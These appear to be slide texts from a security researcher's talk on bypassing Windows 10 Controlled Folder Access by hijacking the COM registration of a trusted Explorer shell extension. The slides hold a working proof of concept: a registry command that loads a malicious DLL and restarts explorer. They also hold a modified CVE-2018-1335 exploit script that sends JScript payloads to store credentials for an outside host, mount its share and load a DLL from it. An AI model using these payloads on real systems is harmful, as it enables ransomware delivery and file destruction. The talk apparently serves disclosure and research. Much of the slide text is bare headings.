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Microsoft's answer to Ransomware

TANMAY GANACHARYA
Principal Group Manager, Windows Defender Research

Ransomware protection on Windows 10
For end users, the dreaded ransom note 
announces that ransomware has already taken 
their files hostage: documents, precious photos 
and videos, and other important files encrypted. 
On Windows 10 Fall Creators Update, a new 
feature helps stop ransomware from accessing 
important files in real-time, even if it manages 
to infect the computer. When 
enabled, Controlled folder access locks down 
folders, allowing only authorized apps to access 
files.

https://blogs.technet.microsoft.com/mmpc/2017/10/23/stopping-ransomware-where-it-counts-protecting-your-data-with-controlled-folder-access?ocid=cx-blog-mmpc


Controlled folder access



Protected folders



Allow an app through Controlled folder access



Research of Yago Jesus



Research of Nyotron



Research of Andrew Brandt



My Research



Explorer is included in Microsoft friendly apps



Component Object Model Hijacking



Under ContextMenuHandlers



CLSID



HKEY_CLASSES_ROOT (HKCR)



{90AA3A4E-1CBA-4233-B8BB-535773D48449}

{90AA3A4E-1CBA-4233-B8BB-535773D48449}



Ransomware Proof of Concept (PoC)

reg add HKCU\Software\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\InprocServer32 /f /ve /t REG_SZ /d c:\tmp\Mal.dll
taskkill /IM explorer.exe /F
start explorer.exe

Mal.bat



Vulnerability Report



Forbes article

• Windows 10 ransomware 
protection remains the first line of 
defense for consumers using 
Windows in 2021.

• Unbeknownst to many consumer 
users of Windows, Microsoft offers 
built-in ransomware protection as 
part of Windows Defender, found 
under Virus & Threat Protection.



Demo (Ransomware PoC)



You can change



Controlled Folder Access registry



New Ransomware PoC



New Ransomware PoC



Demo (New Ransomware PoC)



Vulnerability Report



Microsoft Security Servicing Criteria for Windows



Remote Ransomware PoC



Use CVE-2018-1335



Modified 46540.py

jscript1='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmdkey /add:192.168.47.21 /user:kali /pass:kali');
'''
jscript2='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('net use \\\\\\\192.168.47.21\\\\share /SAVECRED /PERSISTENT:YES');
'''
jscript3='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('reg add HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\\\\InprocServer32 /f /ve /t REG_SZ /d 
\\\\\\\\192.168.47.21\\\\share\\\\bcfanew.dll');
'''
jscript4='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('taskkill /IM explorer.exe /F');
'''
jscript5='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('explorer.exe');
‘‘’
try:

requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:

try:
requests.put("http://"+url, headers=headers, data=jscript1)
requests.put("http://"+url, headers=headers, data=jscript2)
requests.put("http://"+url, headers=headers, data=jscript3)
requests.put("http://"+url, headers=headers, data=jscript4)
requests.put("http://"+url, headers=headers, data=jscript5)



Demo (Remote Ransomware PoC)



Conclusion

Never create ransomware using this method
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